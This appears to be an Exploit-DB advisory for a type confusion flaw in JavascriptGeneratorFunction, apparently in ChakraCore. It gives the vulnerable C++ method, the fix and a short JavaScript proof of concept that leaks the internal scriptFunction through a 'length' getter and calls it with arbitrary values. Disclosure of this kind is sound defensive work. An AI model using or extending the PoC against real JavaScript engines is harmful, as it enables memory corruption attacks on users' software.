Type Confusion Vulnerability in JavascriptGeneratorFunction

vendor:

N/A

by:

Anonymous

8.8

CVSS

HIGH

Type Confusion

843

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: N/A

2020

Type Confusion Vulnerability in JavascriptGeneratorFunction

The vulnerable method exposes 'scriptFunction' as 'this' when getting the 'length' property. A proof of concept code is provided which uses the __defineGetter__() method to set the 'length' property of the function to a variable, which is then used to call the 'scriptFunction' with arbitrary parameters, leading to type confusion.

Mitigation:

Ensure that the 'scriptFunction' is not exposed to user JavaScript code.

Source

Exploit-DB raw data:

/*
Here's a snippet of the method.
bool JavascriptGeneratorFunction::GetPropertyBuiltIns(Var originalInstance, PropertyId propertyId, Var* value, PropertyValueInfo* info, ScriptContext* requestContext, BOOL* result)
{
    if (propertyId == PropertyIds::length)
    {
        ...
        int len = 0;
        Var varLength;
        if (scriptFunction->GetProperty(scriptFunction, PropertyIds::length, &varLength, NULL, requestContext))
        {
            len = JavascriptConversion::ToInt32(varLength, requestContext);
        }
        ...
        return true;
    }

    return false;
}

"JavascriptGeneratorFunction" is like a wrapper class used to ensure the arguments for "scriptFunction". So "scriptFunction" must not be exposed to user JavaScript code. But the vulnerable method exposes "scriptFunction" as "this" when getting the "length" property.

The code should be like: "scriptFunction->GetProperty(this, PropertyIds::length, &varLength, NULL, requestContext);"

Type confusion PoC:
*/

function* f() {
}

let g;
f.__defineGetter__('length', function () {
    g = this;  // g == "scriptFunction"
});


f.length;

g.call(0x1234, 0x5678);  // type confusion